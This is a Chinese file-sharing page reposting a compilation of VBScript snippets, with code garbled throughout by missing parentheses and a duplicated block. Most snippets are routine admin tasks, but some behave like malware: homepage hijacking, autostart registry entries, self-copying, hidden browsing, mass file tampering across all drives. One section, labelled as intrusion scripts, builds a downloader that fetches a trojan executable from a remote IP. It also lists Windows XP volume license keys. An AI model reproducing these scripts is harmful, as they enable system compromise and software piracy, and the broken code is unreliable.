文档文库
手机版
投诉建议
热门搜索： 心得体会 演讲稿 思想汇报
首页 > VBS常用代码合集

VBS常用代码合集

发布时间：2013-09-21   来源：文档文库   
小 中 大
字号：
手机查看
VBS常用代码合集(个人整理
从系统开始菜单中删除此链接: 复制代码 代码如下: Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT/CLSID/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}] @=- "InfoTip"=-
[HKEY_CLASSES_ROOT/CLSID/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}/DefaultIcon] @=-
[HKEY_CLASSES_ROOT/CLSID/{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}/Instance/InitPropertyBag] "Command"=- "Param1"=-
VBS脚本实现整理磁盘碎片功能

Set WshShell = WScript.CreateObject("WScript.Shell" Dim fso, d, dc
Set fso = CreateObject("Scripting.FileSystemObject" Set dc = fso.Drives For Each d in dc If d.DriveType = 2 Then
Return = WshShell.Run("defrag " & d & " -f", 1, TRUE End If Next
Set WshShell = Nothing 计划任务定时调用VBS脚本 复制代码 代码如下: Option Explicit On Error Resume Next '生成列表的文件类型

Const sListFileType = "wmv,rm,wma" '文件所在的相对路径 Const sShowPath="." '排序类型的常量定义


Const iOrderFieldFileName = 0 Const iOrderFieldFileExt = 1 Const iOrderFieldFileSize = 2 Const iOrderFieldFileType = 3 Const iOrderFieldFileDate = 4 '排序顺逆的常量定义 const iOrderAsc = 0 const iOrderDesc = 1 '生成列表的文件数量 const iShowCount = 20 '显示的日期格式函数

Function Cndate2(date1,intDateStyle dim strdate,dDate1 strdate=cstr(date1 If Isdate(strdate Then If Left(cstr(strdate,1="0" Then dDate1=Cdate("20"+cstr(strdate else
dDate1=Cdate(strdate End If Else
dDate1=Now( End If
Select case intDateStyle Case 1:
Cndate2 = Cstr(Year(dDate1+"-"+Cstr(Month(dDate1+"-"+Cstr(Day(dDate1 Case 2:
Cndate2 = Cstr(Month(dDate1+"-"+Cstr(Day(dDate1 Case 3:
Cndate2 = Cstr(Month(dDate1+"月"+Cstr(Day(dDate1+"日" Case 4:
Cndate2 = Cstr(year(dDate1+"年"+ Cstr(Month(dDate1+"月"+Cstr(Day(dDate1+"日" End Select End Function

Function ListFile(strFiletype,intCompare,intOrder,intShowCount Dim sListFile
Dim fso, f, f1, fc, s,ftype,fcount,i,j,k Dim t1,t2,t3,t4,t5 Dim iMonth,iDay sListFile = ""
Set fso = CreateObject("Scripting.FileSystemObject" Set f = fso.GetFolder(sShowPath Set fc = f.Files fcount = fc.count redim arrFiles(fcount,5 redim arrFiles2(fcount,5 i=0 '排序

For Each f1 in fc
ftype = right(f1.name,len(f1.name-instrrev(f1.name,"." arrFiles(i,0 = f1.name arrFiles(i,1 = ftype arrFiles(i,2 = f1.size arrFiles(i,3 = f1.type
arrFiles(i,4 = f1.DateLastModified i=i+1 Next
For i=0 to fcount-1 for j=i+1 to fcount-1 select Case intCompare
Case iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType: If arrFiles(i,intCompare>arrFiles(j,intCompare then t1 = arrFiles(i,0 t2 = arrFiles(i,1 t3 = arrFiles(i,2 t4 = arrFiles(i,3 t5 = arrFiles(i,4
arrFiles(i,0 = arrFiles(j,0 arrFiles(i,1 = arrFiles(j,1

arrFiles(i,2 = arrFiles(j,2 arrFiles(i,3 = arrFiles(j,3 arrFiles(i,4 = arrFiles(j,4 arrFiles(j,0 = t1 arrFiles(j,1 = t2 arrFiles(j,2 = t3 arrFiles(j,3 = t4 arrFiles(j,4 = t5 end if
Case iOrderFieldFileSize:
If cdbl(arrFiles(i,intCompare>cdbl(arrFiles(j,intCompare then t1 = arrFiles(i,0 t2 = arrFiles(i,1 t3 = arrFiles(i,2 t4 = arrFiles(i,3 t5 = arrFiles(i,4
arrFiles(i,0 = arrFiles(j,0 arrFiles(i,1 = arrFiles(j,1 arrFiles(i,2 = arrFiles(j,2 arrFiles(i,3 = arrFiles(j,3 arrFiles(i,4 = arrFiles(j,4 arrFiles(j,0 = t1 arrFiles(j,1 = t2 arrFiles(j,2 = t3 arrFiles(j,3 = t4 arrFiles(j,4 = t5 end if
Case iOrderFieldFileDate:
If Cdate(arrFiles(i,intCompare>Cdate(arrFiles(j,intCompare then t1 = arrFiles(i,0 t2 = arrFiles(i,1 t3 = arrFiles(i,2 t4 = arrFiles(i,3 t5 = arrFiles(i,4
arrFiles(i,0 = arrFiles(j,0

arrFiles(i,1 = arrFiles(j,1 arrFiles(i,2 = arrFiles(j,2 arrFiles(i,3 = arrFiles(j,3 arrFiles(i,4 = arrFiles(j,4 arrFiles(j,0 = t1 arrFiles(j,1 = t2 arrFiles(j,2 = t3 arrFiles(j,3 = t4 arrFiles(j,4 = t5 end if End Select next next '生成列表

sListFile = sListFile + ("class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc; "">"
sListFile = sListFile + ("" dim iLoopStart,iLoofEnd,iLoopStep If intOrder = 0 then iLoopStart = 0 iLoofEnd = fcount-1 iLoopStep = 1 Else
iLoopStart = fcount-1 iLoofEnd = 0

iLoopStep = -1 End if
dim iCount,sTDStyleClass iCount = 1
For j=iLoopStart to iLoofEnd Step iLoopStep
If instr(strFiletype,arrFiles(j,1>0 and iCount<=intShowCount then sTDStyleClass = "PageListTd"+Cstr((iCount mod 2+1
sListFile = sListFile + (""
sListFile = sListFile + (""
sListFile = sListFile + ("" sListFile = sListFile + ("" iCount = iCount+1 end if next
sListFile = sListFile + "
" sListFile = sListFile + ("名称"
sListFile = sListFile + ("		" sListFile = sListFile + ("媒体"
sListFile = sListFile + ("		" sListFile = sListFile + ("大小"
sListFile = sListFile + ("		" sListFile = sListFile + ("类型"
sListFile = sListFile + ("		" sListFile = sListFile + ("更新时间"
sListFile = sListFile + ("
" sListFile = sListFile + ("src=b.gif width=2 height=0>" & arrFiles(j,0 &""
If datediff("h",arrFiles(j,4,now<=24 then
sListFile = sListFile + "" end if
sListFile = sListFile + "		"
sListFile = sListFile + ("" '根据文件名规则,生成中文提示 select case left(arrFiles(j,0,3 case "sc2":
sListFile = sListFile + "四川卫视 " case "sd2":
sListFile = sListFile + "山东卫视 " case "gd2":
sListFile = sListFile + "广东卫视 " case "gx2":
sListFile = sListFile + "广西卫视 " end select '日期显示

If isnumeric(left(right(arrFiles(j,0,8,2 then iMonth = cint(left(right(arrFiles(j,0,8,2 iDay = cint(left(right(arrFiles(j,0,6,2
sListFile = sListFile + cstr(iMonth+"月" + cstr(iDay+"日"
sListFile = sListFile + ("		" Else
response.write arrFiles(j,0

end if
If arrFiles(j,2>1024*1024 then
sListFile = sListFile + cstr(round(arrFiles(j,2/1024/1024 sListFile = sListFile + ("MB" else
sListFile = sListFile + cstr(round(arrFiles(j,2/1024 sListFile = sListFile + ("KB" end if
sListFile = sListFile + (" 		" sListFile = sListFile + cstr(arrFiles(j,3 sListFile = sListFile + ("" sListFile = sListFile + (Cndate2(arrFiles(j,4,4 sListFile = sListFile + ("
" ListFile = sListFile End Function '生成调用文件的过程 Sub ShowFileListContent( Dim tUpdatetime,sUpdateContent Dim fso,f,f_js,f_js_write
Set fso = CreateObject("Scripting.FileSystemObject" Set f = fso.GetFolder(sShowPath Set f_js = fso.GetFile("list.js"
'比较调用文件与文件夹的最后修改时间

If f.DateLastModifiedf_js.DateLastModified then
sUpdateContent = ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount Set f_js_write = fso.CreateTextFile("list.js", True 'JS调用就加上下面这对document.write ' f_js_write.Write ("document.write('"

f_js_write.Write (sUpdateContent ' f_js_write.Write ("'" f_js_write.Close End If End Sub
Call ShowFileListContent(
可以代替网通宽带登陆器的一段vbs脚本 Dim WshShell, iexplorePath, iexploreselect iexplorePath="c:/Progra~1/Intern~1/iexplore.exe" Set WshShell=WScript.CreateObject("WScript.Shell" WshShell.Run iexplorePath WScript.Sleep 2000
WshShell.AppActivate "用户上网登陆" WshShell.SendKeys "自己的账号{TAB}" WshShell.SendKeys "自己的密码" WScript.Sleep 2000
WshShell.SendKeys "{ENTER}" 利用VBS脚本创建快捷方式

我们以"QQ Aqing增强包参数配置器"为例子,讲述如何利用VBS脚本创建快捷方式.代码如下: 代码:
set WshShell = Wscript.CreateObject("Wscript.Shell" strDesktop = WshShell.SpecialFolders("Desktop"
set oShellLink = WshShell.CreateShortcut(strDesktop & "/QQ Aqing增强包参数配置器.lnk"
'创建一个快捷方式对象,其在桌面上显示的名字为"QQ Aqing增强包参数配置器" oShellLink.TargetPath = "C:/Program Files/Tencent/QQ/Aqing.exe" '设置快捷方式的执行路径 oShellLink.WindowStyle = 1
oShellLink.Hotkey = "Ctrl+Alt+e" '设置快捷方式的快捷键

oShellLink.IconLocation = "E:/Picture/Aqing.ico" '设置快捷方式的图标路径 oShellLink.Description = "QQ Aqing增强包参数配置器" '设置快捷方式的描述 oShellLink.WorkingDirectory = strDesktop oShellLink.Save
将上述代码保存为"CreateShortcut.vbs"(不含引号.双击CreateShortcut.vbs,就会将QQ
Aqing增强包参数配置器的快捷方式建立到桌面上.
用这种方法建立的快捷方式的最大优点是:快捷方式的图标可以根据自己的喜好进行更改 用VBS脚本发送email! [code]
Set objEmail = CreateObject("CDO.Message" objEmail.From = "null_vbt@163.com" objEmail.To = "null_vbt@163.com"
objEmail.Subject = "这封邮件是由VBS脚本发送"
objEmail.Textbody = "如果你收到这封邮件，就表示测试成功！" objEmail.Send
利用vbs脚本编写Windows XP/2003序列号更改器 复制代码 代码如下: ON ERROR RESUME NEXT Dim VOL_PROD_KEY
if Wscript.arguments.count<1 then
VOL_PROD_KEY =InputBox("使用说明(OEM版无效："&vbCr&vbCr&" 本脚本程序将修改当前 Windows 的序列号。请先使用算号器算出匹配当前 Windows 的序列号，复制并粘贴到下面空格中。"&vbCr&vbCr&"输入序列号(默认为 XP VLK：","Windows XP/2003 序列号更换工具","11111-11111-11111-11111-11111" if VOL_PROD_KEY="" then Wscript.quit end if else
VOL_PROD_KEY = Wscript.arguments.Item(0 end if
VOL_PROD_KEY = Replace(VOL_PROD_KEY,"-","" 'remove hyphens if any for each Obj in GetObject("winmgmts:{impersonationLevel=impersonate}".InstancesOf ("win32_WindowsProductActivation"
result = Obj.SetProductKey (VOL_PROD_KEY if err = 0 then
Wscript.echo "您的 Windows CD-KEY 修改成功。请检查系统属性。" end if
if err 0 then
Wscript.echo "修改失败！请检查输入的 CD-KEY 是否与当前 Windows 版本相匹配。" Err.Clear

end if Next
将上面的代码复制到文本里面,然后另存为.vbs文件,然后直接运行这个文件就可以了。 可升级Key:
MRX3F-47B9T-2487J-KWKMF-RPWBY QC986-27D34-6M3TY-JJXP9-TBGMD CM3HY-26VYW-6JRYC-X66GX-JVY2D DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ F4297-RCWJP-P482C-YY23Y-XH8W3 HH7VV-6P3G9-82TWK-QKJJ3-MXR96 HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT
一段对比删除文件的VBS脚本!（用游戏更新的时候可以用到哦，希望大家灵活应用）dim sdir,ddir '远程目录

sdir="//192.168.1.1/vbs/zz/" '本地目录 ddir="c:/c"
function comparefile(sdir,ddir dim Fso,dFol,dfs,sf1,f1
set Fso=CreateObject("Scripting.FileSystemObject" if not(Fso.folderexists(sdir then
msgbox chr(34 &sdir &chr(34 &"文件夹不存在，请确认！",64 exit function end if
if not(Fso.folderexists(ddir then
msgbox chr(34 &ddir &"""文件夹不存在，请确认！",64 exit function end if
if right(sdir,1"/" then sdir=sdir &"/" set dFol=fso.getfolder(ddir set dfs=dfol.files for each f1 in dfs
if fso.fileexists(sdir & f1.name then set sf1=fso.GetFile(sdir & f1.name

if f1.DateLastModified sf1.DateLastModified or f1.sizesf1.size then f1.delete end if else
f1.Delete(true end if next dim fols
set fols=dfol.subfolders for each f1 in fols
if not fso.folderexists(sdir &f1.name then f1.delete true else
comparefile sdir & f1.name,f1.path end if next end function comparefile sdir,ddir
详细出处参考：http://www.jb51.net/article/21557.htm
============================================================== 编写VBS代码用什么工具.最简单的就是用记事本,飞翔推荐用 Edit PLUS http://www.52z.com/soft/18958.html 在出错的时候可以很快的找到所在的行 1.VBS获取路径集合 1.1.VBS获取系统安装路径 程序代码
set WshShell = WScript.CreateObject("WScript.Shell" strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%" 上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用"&strWinDir&"调用这个变量。
1.2.C:/Program Files路径

程序代码
msgbox CreateObject("WScript.Shell".ExpandEnvironmentStrings("%ProgramFiles%" 1.3.C:/Program Files/Common Files路径 程序代码
msgbox CreateObject("WScript.Shell".ExpandEnvironmentStrings("%CommonProgramFiles%" 2.给桌面添加网址快捷方式 程序代码
set gangzi = WScript.CreateObject("WScript.Shell" strDesktop = gangzi.SpecialFolders("Desktop"
set oShellLink = gangzi.CreateShortcut(strDesktop & "/Internet Explorer.lnk" oShellLink.TargetPath = "http://www.9934.cn"; oShellLink.Description = "Internet Explorer" oShellLink.IconLocation = "%ProgramFiles%/Internet Explorer/iexplore.exe, 0" oShellLink.Save 3.给收藏夹添加网址 程序代码
Const ADMINISTRATIVE_TOOLS = 6 Set objShell = CreateObject("Shell.Application" Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject("WScript.Shell" strDesktopFld = objFolderItem.Path Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "/小游戏网站.url" objURLShortcut.TargetPath = "http://www.4000.cc/?ie"; objURLShortcut.Save 4.删除指定目录指定后缀文件

程序代码
On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject" fso.DeleteFile "C:/*.vbs", True Set fso = Nothing 上面代码为删除C盘根目录下后缀为vbs的文件 5.VBS改主页 程序代码
Set oShell = CreateObject("WScript.Shell" oShell.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Start Page","http://www.654.la"; 6.VBS加启动项 程序代码
Set oShell=CreateObject("Wscript.Shell" oShell.RegWrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/cmd","cmd.exe" 7.VBS复制自己 程序代码
set copy1=createobject("scripting.filesystemobject" copy1.getfile(wscript.scriptfullname.copy("c:/huan.vbs" 复制自己到C盘的huan.vbs 程序代码
set copy1=createobject("scripting.filesystemobject" copy1.getfile("game.exe".copy("c:/gangzi.exe" 复制本vbs目录下的game.exe文件到c盘的gangzi.exe 8.VBS获取系统临时目录 程序代码
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject" Dim tempfolder Const TemporaryFolder = 2 Set tempfolder = fso.GetSpecialFolder(TemporaryFolder Wscript.Echo tempfolder 9.就算代码出错 依然继续执行 程序代码
On Error Resume Next 10.VBS打开网址 程序代码
Set objShell = CreateObject("Wscript.Shell" objShell.Run("http://www.4000.cc/"; 11.VBS发送邮件 程序代码
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"; Set Email = CreateObject("CDO.Message" Email.From = "发件@qq.com" Email.To = "收件@qq.com" Email.Subject = "Test sendmail.vbs" Email.Textbody = "OK!" Email.AddAttachment "C:/1.txt" With Email.Configuration.Fields .Item(NameSpace&"sendusing" = 2 .Item(NameSpace&"smtpserver" = "smtp.邮件服务器.com" .Item(NameSpace&"smtpserverport" = 25 .Item(NameSpace&"smtpauthenticate" = 1 .Item(NameSpace&"sendusername" = "发件人用户名" .Item(NameSpace&"sendpassword" = "发件人密码" .Update End With Email.Send
12.VBS结束进程 程序代码
strComputer = "." Set objWMIService = GetObject _ ("winmgmts://" & strComputer & "/root/cimv2" Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'" For Each objProcess in colProcessList objProcess.Terminate( Next 13.VBS隐藏打开网址
13.1.部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用 程序代码
createObject("wscript.shell".run "iexplore http://www.gangzi.org/";,0
13.2.兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。（本方法由刚子原创） 程序代码
Set objws=WScript.CreateObject("wscript.shell"
objws.Run """C:/Program Files/Internet Explorer/iexplore.exe""www.baidu.com",vbhide 14.VBS遍历硬盘删除指定文件名（下面我增加了一个先结束进程在删除的功能，不需要可以去掉） 程序代码
On Error Resume Next Dim fPath strComputer = "." Set objWMIService = GetObject _ ("winmgmts://" & strComputer & "/root/cimv2" Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'"
For Each objProcess in colProcessList objProcess.Terminate( Next Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2" Set colDirs = objWMIService. _ ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'" Set objFSO = CreateObject("Scripting.FileSystemObject" For Each objDir in colDirs fPath = objDir.Name & "/gangzi.exe" objFSO.DeleteFile(fPath, True Next 15.VBS获取网卡MAC地址 程序代码
Dim mc,mo Set mc=GetObject("Winmgmts:".InstancesOf("Win32_NetworkAdapterConfiguration" For Each mo In mc If mo.IPEnabled=True Then MsgBox "本机网卡MAC地址是: " & mo.MacAddress Exit For End If Next 16.VBS获取本机注册表主页地址 程序代码
Set reg=WScript.CreateObject("WScript.Shell" startpage=reg.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Start Page"
MsgBox startpage 17.VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话。

程序代码
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject" Co = VbCrLf & "路过。。。" For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "/" End If Next Sub GF(fol Wh fol Dim i
For Each i In fol.SubFolders GF i Next End Sub Sub Wh(fol Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i = "shtml" Then fso.OpenTextFile(i,8,0.Write Co End If Next
End Sub 18.获取计算机所有盘符 程序代码
Set fso=CreateObject("scripting.filesystemobject" Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each objdrive In objdrives '遍历磁盘 MsgBox objdrive Next
19.VBS给本机所有磁盘根目录创建文件 （刚子原创） 程序代码
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject" Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis '遍历磁盘
Set TestFile=fso.CreateTextFile(""&gangzi&"/新建文件夹.vbs",Ture TestFile.WriteLine("By www.gangzi.org" TestFile.Close Next 20.VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe 程序代码
set fs = CreateObject("Scripting.FileSystemObject" for each drive in fs.drives fstraversal drive.rootfolder next sub fstraversal(byval this for each folder in this.subfolders fstraversal folder next set files = this.files for each file in files if file.name = "123.exe" then file.name = "321.exe" next end sub 21.VBS写入代码到粘贴板（先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现） 程序代码
str=“这里是你要复制到剪贴板的字符串”

Set ws = wscript.createobject("wscript.shell" ws.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0,true 22.QQ自动发消息（保存BVS运行即可看到效果，希望高手举一反三，刚子原创） 程序代码
On Error Resume Next str="我是笨蛋/qq" Set WshShell=WScript.CreateObject("WScript.Shell" WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+"(close",0 WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true WScript.Sleep 3000 WshShell.SendKeys "^v" WshShell.SendKeys "%s" 23.VBS隐藏文件 程序代码
Set objFSO = CreateObject("Scripting.FileSystemObject" Set objFile = objFSO.GetFile("F:/软件大赛/show.txt" If objFile.Attributes = objFile.Attributes AND 2 Then objFile.Attributes = objFile.Attributes XOR 2
End If 24.VBS生成随机数（521是生成规则，不同的数字生成的规则不一样，可以用于其它用途） 程序代码
Randomize 521 point=Array(Int(100*Rnd+1,Int(1000*Rnd+1,Int(10000*Rnd+1 msgbox join(point,"" 25.VBS删除桌面IE图标（非快捷方式）

程序代码
Set oShell = CreateObject("WScript.Shell" oShell.RegWrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoInternetIcon",1,"REG_DWORD" 26.VBS获取自身文件名 程序代码
Set fso = CreateObject("Scripting.FileSystemObject" msgbox WScript.ScriptName 27.VBS读取Unicode编码的文件 程序代码
Set objFSO = CreateObject("Scripting.FileSystemObject" Set objFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1 strText = objFile.ReadAll objFile.Close Wscript.Echo strText 附加一些 添加快捷方式
set oShellLink = WshShell.CreateShortcut(QuickPath & "/启动 Internet Explorer 浏览器.lnk"
oShellLink.TargetPath = Url oShellLink.Description = "Internet Explorer" oShellLink.IconLocation = "%ProgramFiles%/Internet Explorer/iexplore.exe, 0" oShellLink.Save 修改文件权限
Sub editNTFSACL(fileName,Perm Set objFile = objFSO.GetFile(fileName objFile.Attributes= 4 or 5
' WSHShell.run "echo Y|cacls " & fileName & " /G Everyone:" & Perm & " /C" End sub '------删除该删的东西------- Dim delIePath delIePath = QuickPath & "/Internet Explorer.lnk" if objFSO.FileExists(delIePath Then objFSO.DeleteFile(delIePath delIePath = QuickPath & "/启动 Internet Explorer 浏览器.lnk" if objFSO.FileExists(delIePath Then objFSO.DeleteFile(delIePath ============================================================= 入侵常用vbs脚本 建议收藏2008年12月22日 星期一 下午 04:02入侵常用vbs脚本 建议收藏
1.文件下载(无回显

echo iLocal = LCase(Wwww.Arguments(1 >iget.vbe echo iRemote = LCase(Wwww.Arguments(0 >>iget.vbe echo Set xPost = CreateObject("Microsoft.XMLHTTP" >>iget.vbe echo xPost.Open "GET",iRemote,0 >>iget.vbe echo xPost.Send( >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream" >>iget.vbe echo sGet.Mode = 3 >>iget.vbe echo sGet.Type = 1 >>iget.vbe echo sGet.Open( >>iget.vbe
echo sGet.Write(xPost.responseBody >>iget.vbe echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cwww hget.vbs http://111.111.111.111/muma.exe muma.exe

2.列举进程

@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts://./root/cimv2:win32_process".instances_ >>ps.vbs
@echo wwww.echo ps.handle^&vbtab^&ps.name^&vbtab^&p*.**ecutablepath:next >>ps.vbs

用法:cwww ps.vbs

3.终止进程

@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts://./root/cimv2:win32_process".instances_ >>pskill.vbs @echo if ps.handle=wwww.arguments(0 then wwww.echo ps.terminate:end if:next >>pskill.vbs 用法:cwww pskill.vbs pid

4.重启系统

@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!//./root/cimv2:win32_operatingsystem".instances_ >>reboot.vbs @echo os.win32shutdown(2:next >>reboot.vbs 用法:cwww reboot.vbs
====================================================================== 1.VBS获取路径集合 1.1.VBS获取系统安装路径 程序代码
set WshShell = WScript.CreateObject("WScript.Shell" strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%" 上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用"&strWinDir&"调用这个变量。
1.2.C:/Program Files路径 程序代码
msgbox CreateObject("WScript.Shell".ExpandEnvironmentStrings("%ProgramFiles%" 1.3.C:/Program Files/Common Files路径

程序代码
msgbox CreateObject("WScript.Shell".ExpandEnvironmentStrings("%CommonProgramFiles%" 2.给桌面添加网址快捷方式 程序代码
set gangzi = WScript.CreateObject("WScript.Shell" strDesktop = gangzi.SpecialFolders("Desktop"
set oShellLink = gangzi.CreateShortcut(strDesktop & "/Internet Explorer.lnk" oShellLink.TargetPath = "http://www.9934.cn" oShellLink.Description = "Internet Explorer" oShellLink.IconLocation = "%ProgramFiles%/Internet Explorer/iexplore.exe, 0" oShellLink.Save 3.给收藏夹添加网址 程序代码
Const ADMINISTRATIVE_TOOLS = 6 Set objShell = CreateObject("Shell.Application" Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS Set objFolderItem = objFolder.Self
Set objShell = WScript.CreateObject("WScript.Shell" strDesktopFld = objFolderItem.Path Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "/小游戏网站.url" objURLShortcut.TargetPath = "http://www.4000.cc/?ie" objURLShortcut.Save 4.删除指定目录指定后缀文件 程序代码
On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject" fso.DeleteFile "C:/*.vbs", True Set fso = Nothing
上面代码为删除C盘根目录下后缀为vbs的文件 5.VBS改主页 程序代码
Set oShell = CreateObject("WScript.Shell" oShell.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Start Page","http://www.654.la" 6.VBS加启动项 程序代码
Set oShell=CreateObject("Wscript.Shell" oShell.RegWrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/cmd","cmd.exe" 7.VBS复制自己 程序代码
set copy1=createobject("scripting.filesystemobject" copy1.getfile(wscript.scriptfullname.copy("c:/huan.vbs" 复制自己到C盘的huan.vbs 程序代码
set copy1=createobject("scripting.filesystemobject" copy1.getfile("game.exe".copy("c:/gangzi.exe" 复制本vbs目录下的game.exe文件到c盘的gangzi.exe 8.VBS获取系统临时目录 程序代码
Dim fso Set fso = CreateObject("Scripting.FileSystemObject" Dim tempfolder Const TemporaryFolder = 2 Set tempfolder = fso.GetSpecialFolder(TemporaryFolder Wscript.Echo tempfolder
9.就算代码出错 依然继续执行 程序代码
On Error Resume Next 10.VBS打开网址 程序代码
Set objShell = CreateObject("Wscript.Shell" objShell.Run("http://www.4000.cc/" 11.VBS发送邮件 程序代码
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message" Email.From = "发件@qq.com" Email.To = "收件@qq.com" Email.Subject = "Test sendmail.vbs" Email.Textbody = "OK!" Email.AddAttachment "C:/1.txt" With Email.Configuration.Fields .Item(NameSpace&"sendusing" = 2 .Item(NameSpace&"smtpserver" = "smtp.邮件服务器.com" .Item(NameSpace&"smtpserverport" = 25 .Item(NameSpace&"smtpauthenticate" = 1 .Item(NameSpace&"sendusername" = "发件人用户名" .Item(NameSpace&"sendpassword" = "发件人密码" .Update End With Email.Send 12.VBS结束进程 程序代码
strComputer = "." Set objWMIService = GetObject _
("winmgmts://" & strComputer & "/root/cimv2" Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'Rar.exe'" For Each objProcess in colProcessList objProcess.Terminate( Next 13.VBS隐藏打开网址
13.1.部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用 程序代码
createObject("wscript.shell".run "iexplore http://www.gangzi.org/",0
13.2.兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。（本方法由刚子原创） 程序代码
Set objws=WScript.CreateObject("wscript.shell"
objws.Run """C:/Program Files/Internet Explorer/iexplore.exe""www.baidu.com",vbhide 14.VBS遍历硬盘删除指定文件名（下面我增加了一个先结束进程在删除的功能，不需要可以去掉） 程序代码
On Error Resume Next Dim fPath strComputer = "." Set objWMIService = GetObject _ ("winmgmts://" & strComputer & "/root/cimv2" Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'" For Each objProcess in colProcessList objProcess.Terminate( Next Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2"
Set colDirs = objWMIService. _ ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'" Set objFSO = CreateObject("Scripting.FileSystemObject" For Each objDir in colDirs fPath = objDir.Name & "/gangzi.exe" objFSO.DeleteFile(fPath, True Next 15.VBS获取网卡MAC地址 程序代码
Dim mc,mo Set mc=GetObject("Winmgmts:".InstancesOf("Win32_NetworkAdapterConfiguration" For Each mo In mc If mo.IPEnabled=True Then MsgBox "本机网卡MAC地址是: " & mo.MacAddress Exit For End If Next 16.VBS获取本机注册表主页地址 程序代码
Set reg=WScript.CreateObject("WScript.Shell" startpage=reg.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main/Start Page"
MsgBox startpage 17.VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话。 程序代码
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject" Co = VbCrLf & "路过。。。"

For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "/" End If Next Sub GF(fol Wh fol Dim i
For Each i In fol.SubFolders GF i Next End Sub Sub Wh(fol Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i = "shtml" Then fso.OpenTextFile(i,8,0.Write Co End If Next
End Sub 18.获取计算机所有盘符 程序代码
Set fso=CreateObject("scripting.filesystemobject" Set objdrives=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each objdrive In objdrives '遍历磁盘 MsgBox objdrive Next 19.VBS给本机所有磁盘根目录创建文件 （刚子原创） 程序代码
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject"
Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis '遍历磁盘
